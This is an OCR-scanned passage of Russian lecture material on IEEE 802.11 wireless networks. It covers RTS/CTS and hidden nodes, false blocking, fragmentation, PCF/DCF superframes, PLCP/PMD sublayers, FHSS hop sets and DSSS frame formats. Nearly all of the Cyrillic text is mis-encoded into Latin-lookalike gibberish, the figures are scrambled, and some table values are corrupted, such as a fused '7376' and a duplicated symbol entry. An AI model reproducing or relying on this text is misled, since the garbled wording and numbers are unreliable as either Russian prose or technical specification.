KOJIM4YecTBa Ciy:keOHoi uHpopMmanuu. IlosTomy pasmep kaigpa — 3TO CBOEro poja
30J10Tasg CepeauHa, OT TMPABWIBHOIO BbIOOpa KOTOPOW 3aBUCHUT 3S(PPEKTUBHOCTH
UCITIOJIb30BAHUS CPE/Ibl IEPEeNaun JaHHBIX.

PaccMOTpeHHBI MEXaHN3M PErVIAMEHTUPOBAHUS KOJUIEKTUBHOIO JOCTYIIA K Cpele
nepeavyn JaHHBIX UMEET OJIHO Y3KO€ MECTO — TaK Ha3bIBa€MyIO MPOOJEeMYy CKPBITHIX
y3710B. M3-3a HalmM4us €CTECTBEHHBIX MPENATCTBUN BO3MOXHA CUTyalusl, KOTJa J1Ba y3JIa
CETHU HE MOTYT «CJBIIIATHY» APYT Apyra HanpsAMyro. Takue y3Jibl Ha3bIBalOT CKPBITHIMH.
Jlnst Toro 4yToObl pa3pemuTh npodseMy CKphIThIX y3510B, (GyHkuuss DCF onuuoHanbHO
peaycMaTpruBaeT BO3MOXKHOCTh Hcnofib3oBanus anroputma RTS/CTS.

Anroputm RTS/CTS

B cootrBerctBuu ¢ anroputmom RTS/CTS kaxawiii y3en ceTu, mepen TeM Kak
nociaTh JAaHHbIE B «3(QHp», CHauana OTHPABIAET CHELUAIBHOE KOPOTKOE COOOIIEHUE,
kotopoe HaszwpiBaeTcs RTS (Ready To Send) u o3HauaeT roToBHOCTH AAHHOTO Y3j1a K
oTnpaBke  gaHHBIX. Takoe  RTS-cooOmienune  comepkuT  MHPOpMANUIO O
POJOJKUTEILHOCTH MPEACTOSIIEH nepegayn U 00 aapecare U JOCTYITHO BCEM y3JaM B
ceTu (€ciau TOJIbKO OHM HE CKpPBITBI OT OTHPABUTENA). DTO MO3BOJISIET APYTHM y3jam
3aJlep)KaTh Iepenadyy Ha BpeMs, paBHOE OOBSBICHHOW JUIMTEIBHOCTH COOOILEHUS.
[Tpuemuas cranuus, noayuus curHain RTS, orBeuaer nocwikoit curnana CTS (Clear To
Send), cBUAETENHCTBYIONMIETO O TOTOBHOCTU CTaHIMU K mpuemy uHbopmarmu. [locie

9TOIro mepcaaromas CTaHIuA ITOCBUIACT IMAKCT AAaHHBIX, a4 IIPUCMHAsA CTAaHOHA OOJIZKHA
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nepenath kaap ACK, moarBepxkpatonuii 6e3omubounbiii mpueM. [locnemoBaTenbHOCTD

OTIIPABKH KaAPOB MCKAY ABYMS y3JIaMHU CCTH IIOKAa3daHa Ha pHC6

DIFS SIFS  SIFS SIFS

Otnpagutens | LRTS. Frame

Monyyatene CTS | ACK

Puc. 6. B3auMopeicTBre MeXIy IBYMsl y3J1aMU CETH B COOTBETCTBUH C
anroputmoM RTS/CTS

Teneps pacCMOTPUM CUTYaIMIO, KOTJIa CETh COCTOUT W3 YeThIpeX y3i10B: A, B, Cu
D (puc. 4.4). IlpennonoxuM, uro y3ea C HaXOAUTCA B 30HE JOCATAEMOCTH TOJIBKO y3ja
A, y3en A HaxomumTcs B 30HE gocsiraeMocTtH y31moB C u B, y3en B HaxoautTca B 30HE
nocsiraeMocty y3noB A u D, a y3en D HaxoauTcst B 30HE 1OCATaEMOCTH TOJIBKO y3J1a B.
To ecTb B TakoW ceTH MMEKOTCS CKPBITHIE Y3ibl: y3ea C CKphIT OT y310B B u D, yzen A
CKpBIT OT y3n1a D.

B nonob6noii ceru anroputm RTS/CTS mno3Bomsier cnpaBuThCs ¢ MpodIieMoit
BO3HUKHOBEHUS KOJUIM3HMM, KOTOpas HE PEMIAETCA IMOCPEACTBOM PACCMOTPEHHOTO
0a3oBoro crnocoda opranuzanuu KojuiekTuBHoro noctyna B DCF. JlelicTBUTENbHO, MyCTh
y3ea A mbITaetcs nepenars AaHHble y3iny B. [[nsg storo on mockuiaer curHaia RTS,
KOTOPBIN, TOMUMO y31a B, momyuaer takxke y3en C, HO He moaydaet y3en D. Vien C,
MOJIYYMB JIaHHBIA CHUTHAJN, OJOKUPYeTCS, TO €CTh MPHOCTAHABIUBACT IMOMBITKU
nepeaBaTh CUTHA O MOMEHTa OKOHYAaHUS nepefadyr Mexay y3inamu A u B. V3en B, B
OTBET Ha noay4deHHbl curHain RTS, noceutaer kagp CTS, KOTOpBIA NOMYYarOT Y376l A U
D. V3en D, mony4uB maHHBIA CUTHAJ, TaKKe OJIOKUPYETCS Ha BpPEeMs Mepeayrl MExIy

y3iamu A u B.
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Puc.7. Pemenue npobieMbl CKpbIThIX y3710B B anroputme RTS/CTS

Y amroputmMa RTS/CTS wuMmeroTcs CBOM TNOABOJHBIE KaMHH, KOTOpPbIE B
ONpEACNEHHBIX CUTyalUAX MOTYT MPHUBOJUTH K CHIDKEHHIO 3(P(PEKTUBHOCTH
UCIIONB30BaHUs Cpeabl Iepenadyu JaHHbIX. K npumepy, B HEKOTOPBIX CHUTYalUAX
BO3MOXXHO TaKoOe€ SIBJICHUE, KaK pacrpocTpaHeHue dpQekra JOKHBIX OJIOKUPOBOK Y3JIOB,
YTO B KOHEYHOM CUETE MOXKET IIPUBECTU K CTYIIOPY B CETH.

PaccmoTpum, k mpumepy, ceTb, okazaHHyro Ha puc. 4.5. Ilycte y3en B nbitaercs
nepenath naHHble y3iny A, nockuias emy kaap RTS. Ilockonbky 3TOT Kaap moJiydaer
Takke u y3ea C, To oH OJIOKUpyeTCsl Ha BpeMsl Tiepenaun Mexay y3inamu A u B. Ven D,
neITasch nepenate nanHele y3ny C, moceuraer kaap RTS, HO mockombky yzen C
3a0JI0KHPOBaH, TO OH HE MOJy4yaeT OTBETAa M HAaYMHAET MPOLEAYpY OOpaTHOrO OTCYETa C
YBEIMYEHHbIM pa3mepoM OkHa. B To ke Bpems kaap RTS, nmocnanubeii yznom D,
noiyyaeT U y3en E, KOTOpBIM, JOKHO Mpeanojaras, 4To 3a 3TUM IOCJIEAYyET CEaHC
nepenaun AaHHbIX oT y3n1a D k y3iy C, 6nokupyercs. OaHako 3TO JI0KHas OJIOKUPOBKa,
MIOCKOJIbKY peanbHO Mexay y3namu D m C nepenaum Het. bomee Toro, ecim yszen F

HOTIBITAETCS MepeiaTh JaHHbIE JIOKHO 3a0JI0OKHUpOBaHHOMY Y31y E u momuier cBoi kaap
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RTS, o on moxxno 3abmokupyert y3en G.

A B
o<« @
o
<@ Bnokuposka
- " \RTS
<
NoxHasn
bnokupoBka - N\ EQ NoxHas
| ‘© | SO 6nokuposka
® Rrrs

Puc. 7. Bo3HuKHOBEHHE JIOXKHBIX OJIOKUPOBOK Y3JIOB CETH

OnucanHoe sIBJICHUE JIO)KHOW OJIOKMPOBKH  Y3JIOB MOKET TPHUBOJUTH K

KpaTKOBPEMEHHOMY CTYIIOPY BCEH CETH.

®parmentanus ¢peiima no cranaapry 802.11

@parmenrtauus ¢peiima — 3T0 BbloNHsemas Ha ypoBHe MAC (dyHkius,
Ha3HAaYeHHE KOTOPOH — MOBBICUTH HAJIEKHOCTD Nepeaayu (pperiMoB uepe3 OecrpoBOIHYIO
cpeny. Iloa dparmenranueit nonumaetcst apodienue ¢ppeiitma Ha MeHbIIKe GparMeHThl U

nepeaada KaxXaoro M3 HHUX OTACIBbHO. Hpe;monaraeTcsI, 4TO BCPOATHOCTD YCHGH_IHOI\/'I
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nepeaadyd MEHBINEro (parMeHTa 4Yepe3 3allyMJICHHYI0 OECIpOBOJHYIO CPEIy BBIIIE.
[Tonyyenue kaxmoro gparMeHrta ¢peiiMa MOATBEPKIACTCS OTACIBHO; CIIETOBATEIBHO,
ecnu Kakor-HHOyab (parmeHT (peiima OyaeT mepegaH ¢ OMMUOKONW WM BCTYNHT B
KOJUTM3HUIO, TOJBKO €ro MpHAETCS TIepeaaBaTh IMOBTOPHO, a HE Bech (peiim. ITO
YBEJIMYMUBAET MPOMYCKHYIO CIOCOOHOCTH CPEIbI.

Pasmep ¢parmenta mokeT 3amaBaTh aaMHUHHCTpaTtop cetu. DparmenTaruu
MOJIBEPraloTcsi  TOJNBKO  ofHoajpecHble  ¢peitmbl.  [llupokoBemarensHble,  WIK
MHOTOaJpecHble, (peiMbl nepenatorcs nenukoMm. Kpome toro, dparmentsl (perima
nepearoTcs MaKeToOM, C UCII0JIb30BAHUEM TOJIBKO OJTHOM UTEpallMi MEXaHU3Ma J0CTyIa K
cpene DSF.

XoT4 3a cyeT pparMeHTalid MOXHO MOBBICUTh HAJIEKHOCTh Niepeaaun ppeiiMoB B
OECIIPOBOIHBIX JIOKAIBHBIX ceTsX. OHA MPUBOAUT K YBEINUYCHUIO «HAKIIATHBIX PACXOJI0BY
MAC-nporokona cranmapra 802.11. Kaxnaeiii ¢dparment ¢Qpelima BKIIOYaeT
uHopmaruio, coaepxairytocsi B 3arojioBke 802.11 MAC, a Takxe TpeOyeT mnepenayu
COOTBETCTBYIOIIETO (peiiMa MOATBEPKICHUS. DTO YBEIWYUBAET YHCIO CIYKEOHBIX
curHanoB MAC-TIpOTOKOJIa U CHUXKAET pPeajbHYI MPOU3BOJIUTEIBHOCTh OECIPOBOIHOM
ctaHuu. PparMeHTalus — 3TO OAJIAHC MEXKIY HAJEKHOCTHIO U HEMPOU3BOAUTEIHLHOMN

3arpy3Kou Cpepbl.

OyHKIMS HEHTpaIn30BaHHOM koopauHaiuu PCF

PaccmoTpenHslil Bblllle MexaHU3M pachpenesieHHod koopauHauuu DCF sBnsercs
0a30BbIM U1 TPOTOKOJIOB 802.11 1 MOKET UCIOJIB30BATHCS KaK B OECIPOBOJAHBIX CETSX,
dbyakuuonupyomux B pexxume Ad-Hoc, Tak u B ceTsiX, PyHKIIMOHUPYIOIIUX B PEKUME
Infrastructure, To ecTb B ceTsiX, UH(YPACTPYKTYpa KOTOPHIX BKIOYAET TOUKY JOCTYTA.

Onnako nnst ceret B pexume Infrastructure Oosiee €CTECTBEHHBIM SIBJISECTCS
HECKOJIbKO MHOM MEXaHHM3M PErjlaMeHTUPOBAHUS KOJUIEKTHMBHOTO JOCTYIA, U3BECTHBIN
KaK (yHKIMS [eHTpain3oBaHHOM koopauHaiuu (Point Coordination Function, PCF).
OtMmetum, uyto Mexanu3M PCF saBisieTcs oniuoHaIbHBIM U MPUMEHSIETCS TOJIBKO B CETSIX

C TOYKOM JOCTYIIA.
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B cnyuae 3ageiictBoBanusa mexanusma PCF oquH U3 y3710B ceTd (TOYKa JOCTYyIA)
SBJIIETCS] LIEHTPAJIbHBIM U Ha3bIBaeTcsl ieHTpoM koopauHauuu (Point Coordinator, PC).
Ha nenTtp koopaunanuu Bo3naraercs 3ajadya ynpaBiIeHUs KOJUIEKTUBHBIM JOCTYIIOM BCEX
OCTaJIbHBIX Y3JI0B CETH K CpeJie Nepeaadyu JaHHBIX Ha OCHOBE ONPEACIIEHHOIO aJlfOPUTMA
OIpoca WJIM HCXOJs W3 IPUOPUTETOB Y3JO0B CETU. 1O €CTh LEHTP KOOPJIWHAIIMHU
ONPAIMBAET BCE y3JIbl CETH, BHECEHHBIE B €r0 CIIMCOK, U Ha OCHOBAaHWU HTOT0O OIpOca
OpraHu3yeT Mepenavy IaHHBIX MEXIY BCEMHU y3JaMU CETU. BaKHO, 4TO TakoW MOAXOJ
MOJIHOCTBIO HCKJIIOYAET KOHKYPHUPYIOIIHMM JOCTYIl K Cpelle, KaK B CIlydae MeEXaHu3Ma
DCF, u nemaer HEBO3MOXXHBIM BO3HUKHOBEHHME KOJUIM3WUM, a [JI1 BPEME3aBHCUMBIX
MPWIOKEHUHN rapaHTUPYET IPUOPUTETHBIN TOCTYyN K cpene. Takum odpazom, PCF moxer
MCTIOJIB30BAaThCA ISl OPTaHU3alMK IPUOPUTETHOIO TOCTYNA K CPEJie Mepeaun JaHHBIX.

OyHKIMSA  LEHTPAIM30BAaHHOM  KOOpAWMHALMK  HE  OTpHULAeT  (PYHKIHUIO
paclpeneeHHON KOOpAMHALMU, a CKOpee, MOIOJHAET €€, HaKIAIbIBasCh IIOBEPX.
@aktnueckn B ceTax ¢ MmexaHusmMoM PCF peammsyerca kak mexannsm PCF, tak u
TpaauIMOHHBIM MexaHu3M DCF. B TedeHue ONpeneneHHOro mnpoMeKyTKa BpPEMEHH
peanmmzyercs mexanusm PCF, 3atrem — DCF, a moToMm Bce MOBTOPSIETCS 3aHOBO.

JUist Toro 4toObl MMETh BO3MOXKHOCTH uepenoBaTh pexumbl PCF u DCEF,
HEOO0XO0MMO, YTOOBI TOUKA JOCTYIA, BBHINOJHAIOMAS (GYHKIUU LIEHTPA KOOPAMHALUU U
peanuzytomas pexxum PCF, nmena Obl MpUOPUTETHBIN AOCTYH K Cpe/ie Mepeayu TaHHbIX.
OTO MOXXHO CJenarTh, €CIM HCIOJIb30BaTh KOHKYPEHTHBIM JOCTYN K Cpele Iepenadu
naHHbIX (kak u B Meroge DCF), HO ais 1ieHTpa KOOpAWHALMU pa3pelIuTh UCIOIb30BaTh
IPOMEXYTOK OxkuaaHus, MeHblnii DIFS. B sTtom cnydae ecim LeHTp KOOpIWHALIMHU
IBITAETCS MOJYYUTh JOCTYI K CPENE, TO OH OXKUAAET (KaK U BCE OCTAJbHBIEC y3JIbl CETH)
OKOHYAaHHUs TEKYIIEW Iepenadyn M, MOCKOJIBKY I HEro OINpEAENseTcs MHUHUMAaJIbHBIN
PEXKUM 0XKHMJIaHUSI TIOCTIe OOHAPYKEHUS! «TUIIMHBD» B 3(pupe, MEepBhIM MOIyYaeT AOCTYH K
cpene. IIpomexyTok OXKUIAHUA, ONPEAEIAEMbIN I LIEHTPa KOOPAUHALIMN, HA3bIBAECTCS
PIFS (PCF Interframe Space), npuuem SIFS<PIFS<DIFS.

Pexxumbr DCF u PCF 00benuHSIOTCS B TaK Ha3bIBaeMOM cyriepdpeitme, KOTOpbIit

oOpasyeTrcss U3 MPOMEXKyTKa OCCKOHKYPEHTHOTO JocTymna K cpene, HazbpiBaemoro CFP
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(Contention-Free Period), u ciemyromiero 3a HUIM MPOMEXYTKa KOHKYPEHTHOTO JOCTYIIA K

cpene CP (Contention Period) (puc. 8).

CFP CP CFP CP
L | "." | L | : L | [
Badcon PCF DCF Biscon PCF DCF
4 2
Superframe

Puc. 8. O6bvenunenue pexxumoB PCF u DCF B onHoM cyniepdperime

Cynep¢peiim HaunHaeTcs ¢ Kajapa-masuka (beacon), moiayduB KOTOPBIA BCE Y3JIbI
CeTH TMPUOCTAHABIMBAIOT TOMBITKH I€pelaBaTh JaHHbIE Ha BpEMsdA, OIpPEAEIIIeMOe
nepuojgom CFP. Kanpel massuku HecyT ciy»KeOHYI0 HHPOpPMaLKIO O MPOAOKUTEIIBHOCTH
CFP-mpoMexyTka U MO3BOJISIIOT CUHXPOHU3UPOBATh pabOTy BcexX y3J0B ceTu. Bo Bpems
pexnma PCF Touka mocTyma OnpammBaeT BCE y3Jbl CETH O KaJpax, KOTOpPBIE CTOSIT B
ouepenu Ha nepeaady, noceuias uM cinyxeOnble kaapel CF POLL. OnpainBaeMble y371bl
B oTBeT Ha nonydyeHue kaapoB CF POLL noceuator noareepxkaeaue CF ACK. Eciau
NOATBEPKIEHUSI HE MOJYyYEHO, TO TOYKA JOCTyNa MEPEXOAMT K OMpPOCY CIEIYHOLIEro
y37a.

Kpome Toro, 4to0Obl UMETh BO3MOKHOCTh OPraHU30BaTh MEPEAavy TaHHBIX MEXITY
BCEMH Y3JIaMH CETH, TOYKa JIOCTyNa MOKET mepeaaBaTh Kaap naHHeIX (DATA) u
coBMemaTh Kajap orpoca ¢ nepemadein ganabix (kaap DATA+CF POLL). Ananorudno
y3Jbl CETH MOTYT COBMELIATh KaJpbl TMOATBEPKICHUA C TMepeAadyeld JIaHHbIX
DATA+CF_ACK (puc. 4.7).

JlomyckaroTcsl CIeayoUMe TUIbl KaapoB Bo Bpems pexxuma PCF:

* DATA — xanp maHHbIX

* CF_ACK — kanp noaTBepkKAeHUs

* CF_POLL — kazp ompoca

* DATA+CF_ACK — xoMOMHUPOBAaHHBIN KaJIp TaHHBIX U MOATBEPKICHUS

* DATA+CF_POLL — koMOMHUpOBaHHBIN KaJp JAaHHBIX U OMpOca
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* DATA+CF_ACK+CF_POLL — xoMOMHUPOBAHHBIN KaJp AAHHBIX, TOJITBEPKIACHUS U
orpoca

* CF_ACK+CF_POLL — kOMOMHUPOBaHHBIN KaJp MOATBEPKIAEHUS U OIpoca

CFP [PCF pasmm)

= >
Touka gocTyna Beacon | DataAd ACK+ CF_End+
(AP Poll A Pall B ACK
Data AP+
“aen A ALK
Data AP
¥aon B
PIFS SIFS SIFS 8IFS SIFS BIFS BIFS

Puc. 9. Opranuzanus nepenadyu JTaHHBIX MEXKIY y3iaaMu ceT B pexxume PCF

Pu3nyecKue YypoBHHM CTAHIAPTOB

OcHoBHOe Ha3HaueHue ¢uzndyeckux ypoBHel crtangapta 802.11 — obecneueHue
MexaHu3Ma OecnpoBojgHOM nepenaun ans noaypoBHs MAC, a Ttaxke nojiepxaHue
BTOPUYHBIX (YHKUUN (OLEHKA COCTOSHHE OECIpPOBOAHON CpeIbl U COOOIIEHHE 00 3TOM
MAC). MAC u PHY He 3aBuCHUMBI 3TO JaeT BO3MOXXHOCTb HCIOJIb30BaTh Ooiiee
CKOpOCTHBIC (PU3NYECKHE YPOBHHU, ONUCaHHbIC B cTanaapTax 802.11a/b/g.
Kaxx b1l puznueckuii ypoBeHb CTaHAApTa UMEET JBA OTYPOBHSL:

- PLCP (Physical Layer Convergence Procedure) — mporeaypa OmpeaeiacHUs
COCTOSTHUS (PUBNYECKOTO YPOBHS;

- PMD (Physical Medium Dependent) — moaypoBeHb (U3NYECKOTO YpPOBHSI,
3aBUCSILLNAN OT Cpeabl Iepeaadu.

Ha puc. 10 nokazaHa Kak O3TH YPOBHM COOTHOCATCS MEXIy cOOOH u

BbIICCTOAIMIMMHU YPOBHAMMU.
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YpoBeKb NpUNoXeHw
YpoBeHs npeacTagnenui
CeaHcoBbIi ypoBEHb
Mopyposens LLC TpaHCNOPTHbIA YPOBEHD
Moayposens MAC CeTeso/i yposeHs
KaxansHbii ypoBeHs
Duanyeckuit yposeHs
Noayposexs PLCP
Moayposews PMD

Puc. 10. INoxyposuu yposus PHY momenu B3aumoaeiicTBust OTKpIThIX cructeM (OSI)

[ToxypoBens PLCP sBisieTcst ypoBHEM oOecriedeHus] B3aUMOICHCTBHS, HA KOTOPOM
OCYIIECTBIIICTCS MEPEMEIICHNE 3JIEMEHTOB JaHHBIX npoTokoja MAC (MAC protocol
data units, MPDU) mexny MAC — cTaHIMsMHU ¢ UCHOJb30BaHUEM moaypoBHs PMD, Ha
KOTOpPOM peai3yeTcs TOT WM HWHOM METOJ Tepeladyd M MpueMa JaHHBIX dYepe3
oecipoBoanyto cetb. [logypoBan PLCP m  PMD ornuvaroTcs B pas3HBIX BapHaHTax

cranaapta 802.11.

Pdu3nyecKkuil ypoBeHb 0ecnipoBOAHBIX ceTel ctanaapra 802.11
Ucxonnswiii ctangapt 802.11 ompenenser nBa Meroda mnepeaadyd Ha (PpuznuecKkom
YPOBHE.

. TexHoJIOTUsT pacHIUpEeHUsl CIIEKTpa MyTeM CKauKOOOpa3HOW MEpEeCTPOMKH YacTOThI
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(FHSS)
»  TexHomorus MHUPOKOMOIOCHOW MOAYJISIIIAK C PACIIUPEHUEM CIIEKTpa METOJO0M TIpsi-
Moii mocaenoBarenbHocTd (DSSS)

O6e TexHomornM paboTaroT B nauama3one 2,4 ['T1, B KOTOpOM BBIJICICHA TI0JI0CA

mupuHO 82 MI'IT /Ui TPOMBINIJIEHHOTO, HAYYHOTO U MEAMIIMHCKOTO IPUMEHEHHS

(ISM).

BecnpoBoaHbIe JIOKAJIbHBIE CETH CO CKAYKO00PA3HOI MePeCTPOMKOM YaCTOTHI
(FHSS)
becripoBoansie nokampHbie ceth FHSS (Frequency Hopping Spread Spectrum)
NOJIEPKUBAIOT CKopocTu mepenaun 1 u 2 Mout/c. Kak cinexyer u3 Ha3BaHuS,
ycrpoiictBa FHSS  ocymecTBisitoT CKauKoOOpa3HyI0 MEPECTPOHKY YacTOThl IO
npenonpeaeieHHO cxeMe, Kak mokazaHo Ha puc. 11. VYerpoiictea FHSS gensar
MpeIHa3HAYCHHYI0 Uil MX paboTel mosiocy uactoT oT 2,402 mo 2,480 I'Tu wa 79
HEMEPEKPHIBAIOIIMXCS KaHAIOB (3TO crpaBeiauBo st CeBepHO AMepUKH U OoJibLIeh

yactu EBpornebl). [Ilupuna kaxaoro u3 79 kananos cocrasisieT 1 MI'm.

100 MBT/MI"y, _~

M
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H
(o]
C ic
T
b )
&
)
yd
1MBT/MlNy 1 MC
YACTOTA
2,402 Ty, 2,4831Tuy

Puc. 11. IIpumep ckauxooOpa3HON EPECTPONKH YACTOTHI
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[TocnenoBaTenpbHOCTh IMEPECTPOMKM YAaCTOThl MMEET CIEAYIOUIUME [apaMeTphl:
4acTOTa NEPECKOKOB HE MeHee 2,5 pa3 B CEKyHAY, KAK MUHUMYM MEXy 6-10 KaHaJlaMu.
YroObpl n30€kaTh KOJUIM3UHA MEXAY NEpPEeKPhIBAIOIIUMUCA 30HAMH ITOKPBITHS,
BO3MOYXHBIE  IIOCJIEOBAaTEIbHOCTH  IEPECKOKOB  pa3OuThl HAa  Tpu  Habopa
NOCJIEI0BATEIbHOCTEN, JIMHA KOTOPBIX MAJIi CEBEpHOM AMEpUKHM M OOJIbLIEH YacTH
EBpornel paBHa 26. B Tabnuie 4.1 npeactaBieHbl CXeMbl CKaYKOOOPa3HOW MEPEeCTPOMKH
4aCTOThI, 00ECIEUNBAIOIINE MUHUMAJIbHBIE IEPEKPBITHUSI.

Tabmuua 1. Cxembl CKauKO0Opa3HOM MEPECTPOUKH YaCTOTHI

Hab6op CxeMa ckauKooOpa3HOM MepeCTPORKH YaCTOTHI

4acToOT

1 0,3,6,9,12,15,18,21,24,27,30,33, 6,39,42,45,48,51,54,57,60,63,66,69,72,75
2 1,4,7,10,13,16,19,22,25,28,31,34,37,40,43,46,49,52,55,58,61,64,67,70,7376
3 2,5,8,11,14,17,20,23,26,29,32,35,38,41,44,47,50,53,56,59,62,65,68,71,72,77

[Tocne Toro kak yposenb MAC mpomyckaer MAC — dpeiiM, KOTOPBI B JTOKaTbHBIX
OecnipoBOIHBIX ceTsax nuMeeT HazBanue PSDU (cokpamenune or PLCP service data unit),
noayposedb PLCP noGaBnsier nBa mosist B Hadasio peiima, 94To0bl chOpMHUPOBATH TAaKUM
obpazom ¢peiim PPDU (snemenT manubix npotokosa PLCP). Ho puc. 12 mpencrarnen

dbopmar dpetima FHSS nmoxyposus PLCP.

Npeambyna PLCP 3aronosok PLCP
Sync SFD | PLW| PSF| HEC | MAC-Gpeiim
(PSDU)
80 6uT 166ur 126ur 46ur 16 6ur

Puc. 12. ®opmar ppeiima FHSS moxyposus PLCP

[Tpeambyna PLCP cocrout u3 aByx noamnosieit. [Togmone Sync pasmepom 80 OuT.
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Crpoka, coctosimas u3 uepenyromuxca 0 u 1, HaunnHaetrcs ¢ Hyns. [IpuemHas craHuus
UCTIONIB3YET ATO MOJIe, YTOOBI IPUHSTH PEUICHHE O BEIOOPE aHTEHHBI IPU HATMYUH TaKOU
BO3MOXKHOCTH, OTKOPPEKTHPOBaTh yXxoi dacTothl (frequency offset) n cuaxponusupoBath
pacnpezaenenue makeron (packet timing). [Moamone ¢uara Havana ¢perima (start of frame
delimiter, SFD) pazmepom 16 6ur. Cocrout u3 cnenuduyeckoii crpoku (0000 1100 1011
1101, kpaiinuii cineBa OUT TEpBBINA), MPUMEHSETCA A CUHXPOHHU3alUU (PpeiMOB B
IPUEMHOU CTaHIINH.

3arosnoBok (peiima PLCP coctout u3 tpex nmomanoneit. PSDU Length Word (PLW)
- CJIOBO JUIMHBI Ciy:)keOHOro snemeHnta naHHeix PLCP (PSDU), ykassiBaeT paszmep
dpetima MAC B okterax. CurnansHoe nojie PLCP (signaling field PLCP, PSF) pazmepom
4 outa. YKa3bpIBa€T CKOPOCTh MEPENAUN JaHHBIX KOHKPETHOTO (hpeiima.

[TonypoBenr PLCP mpeoOpasyer ¢peliMm B MOTOK OWTOB W IepelacT €ro Ha
noaypoBerb PMD. TlogypoBens PMD Texnonorun FHSS monmynupyer moTok JTaHHBIX C
WCTIOIb30BAHUEM MOJYJISIIIMKA, OCHOBAaHHOH Ha TayCCOBOM MEPEKIIOYCHUH YacTOT
(Gaussian frequency shift keying, GFSK). Jns ckopoctu 1 MOuT/c MOmyssITop

ycnoJib3yet s nepeaayn 0 u 1, nBa pa3IMyHbIX MO 4acToTe curHana puc 4.13.

1

1Fa::' f d fc fc"' fd

Puc. 13. Moaynsuus GFSK

UYToOBI OCYHIECTBIISITH TIEPEIavy CO CKOPOCTHIO 2 MOUT/C HCTIONB3YETCSI MOTYJISIIIHS
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AGFSK, B aTOM ciyyae 2 Outa MOAYIHPYIOT CUTHAJI OJHOBpeMeHHO. [l peanm3aruu
3TOTO0 MeToJla TpeOyeTcs YeThIpe pa3jMyHbIe YacTOThI, B Tabmuie 4.2 mpeacraBicHa
KapTa npeoOpa3oBaHMsi CHMBOJIOB B YacCTOTY.

Tabnuma 2. Kapra npeobpazoBanusi CAMBOJIOB B yacToTy npu Moaymsaunu 4GFSK

CumBon | Yacrora
01 fe +far
11 fe +fao
01 fe - fa1
00 fe- fo2

OcHOBHBIE HETOCTATKH PACCMaTPUBAEMOT0 METOIA!
- HE BBICOKast CKOPOCTh Mepeauu (Makcumym 2 Mout/c);
- HET CTaHJAPTU3UPOBAHHBIX MEXAHU3MOB KOTOPbIE ObI TTO3BOJISUT UCKIIIOYATh TE
YaCTOTHBIE KaHAJIbI, HA KOTOPBIX IIOMEXU OCOOCHHO OIIYTHMEI;
- Her MexaHu3ma CHMHXpPOHM3ALUU WM KOOPAHHAIIMM TOCIIEIOBATEIHLHOCTEH
NEPEKITIOYEHUS YaCTOTHI IJIsl COCEICTBYIONIUX TOUYEK JTOCTYTIA.
B criencTBum yero mocienoBaTenbHOCTH MEPEKITIOYCHUH COCETHUX TOUCK

A0CTyIla MOT'YT IICPCKPBLIBAKOTCA.

BecnpoBoaHbIe JIOKAJBbHBIE CeTH, HCIOJIb3YIOLIHE IIHPOKOIOJIOCHY IO
moayasinui DSSS ¢ pacmmpenuneM crekTpa MeTO0M MPSAMO
MOCJ1e10BATEILHOCTH

Kax 6pu10 ykazano B crangapte 802.11 paspadotku 1997 rona, TexHomoruss DSSS
NOJJIEP>KUBAET CKOpocTu nepeaaun 1 u 2 Mout/c. becipoBoanbie gokanbHbie cetn DSSS
UCIIOJIB3YIOT KaHambl mupuHoi 22 MI'u. Kanane! mpunoi 22 MI'1 no3BoJIIOT cO3AaTh

B nuamna3oHne 2,4—2,483 I'T'y Tpu He NepeKphIBAIOIINXCS KaHAJIa Mepe/lavu.
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Ananornuno mnoxypoBuio PLCP, wucnomssyemomy B TexHonorun FHSS,
noaypoBenb PLCP texnonmorun DSSS crangapra 802.11 moGaBmnsier aBa moss BO ppeiim
MAC, uto6s1 chopmupoBate PPDU: mpeamOymy PLCP u 3aromoBok PLCP. ®opmat
dpeitma nipencraBiieH Ha puc. 14.

[peambyna PLCP 3aronosok PLCP
A

A

Sync SFC | Signal | Service |Length | CRC MAC-dpeim

128 6ur 166ur  Bur 86ur  166ur  166ur

Puc. 14. ®opmar ppeiima DSSS PPDU crannapra 802.11

[Tpeam6Oyna PLCP coctout u3 nByx moamnoiei. [loamose Sync mmupunoi 128 our,
MpeACTaBigloNiee CcOOOM CTPOKY, COCTOSIIIYIO M3 €AWHMIl. 3ajada d3TOro MO —
00ecIeunTh CHHXPOHU3AMMIO I TpueMHoi ctarmuu. [logmome SFD mmpunoi 16 6wur,
comepxut crenuduaeckyro crpoky 0xF3AOQ; obecrieunBaeT TaUMUHT ISl TTPUEMHOM
CTaHIUU

3arosioBok PLCP coctout u3 yetsipex moamosen. [Toxmone Signal mmpunHoi 8
OuT, ykasplBaeT THUN MOAYJSIMM M CKOPOCTh Tepemaud aaHHoro ¢peitma. [loamone
Service mmpuHoit 8 OuT, 3apesepBupoBano. Ilommonme Length wmpuHol 16 Owur,
yKa3bIBaeT KOJMYECTBO MHUKPOCEKYHA (M3 amamasona 16 — 2'°-1), meoGxommmoe s
nepenaun yactu MAC ¢peiima

[Togypoenr PLCP mpeoOpa3syer ¢peiim B OTOK OMTOB M TIepelacT JaHHBIC Ha
noayposedb PMD. Becr PPDU mpoxoauT depes mporecc CKpeMOJIUpPOBaHUS C IETBIO
paHAOMM3AIUN JaHHBIX.

CkpemOupoBanHas mpeamOyna PLCP Bcerga mnepemaercss co CKOpOCThIO 1
Mo6wut/c, B To Bpems kak ckpeMOiupoBanHbiii ¢ppeitm MPDU nepenaercst co CKOpOCThIO,
yka3zanHo# B nogmnoiie Signal. ITogyposens PMD Moaynupyert oTaeaeHHBINH TOTOK OUTOB,

HCIIOJB3YyA CICAYIOIKUE MCTOAbI MOAYJISIUHN.
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. JlBonuHas otHocuTenbHas (asosas manwmmyssiius (differential binary phase shift
keying, DBPSK) nis ckopocTu nepemaun 1 Mowut/c
»  Ksagparypnas ¢azoBas manunyssaius (quadrature phase shift key, QPSK) mis cxo-

poctu nepenauu 2 Mout/c

TexH0J10ruu paciIMpeHus CeKTpa

IIpu meroge DSSS kaxawpiii MHGOPMAIMOHHBIM CHUMBOJI TMpeacraBiseTcs 11-
pa3psiaHbeIM kojoM bapkepa Buga 11100010010. Koabr bapkepa ob6nanaroT HarmTydImMu
cpenu U3BECTHBIX TICEBIOCTYYaNHBIX MocJIeJ0BaTEIbHOCTEH CBOMCTBaAMH
IITyMOTIOJIOOHOCTH, 4YTO W OOYCJIOBWJIO HMX INPUMEHEHHE B ammaparype OeCIpOBOIHBIX
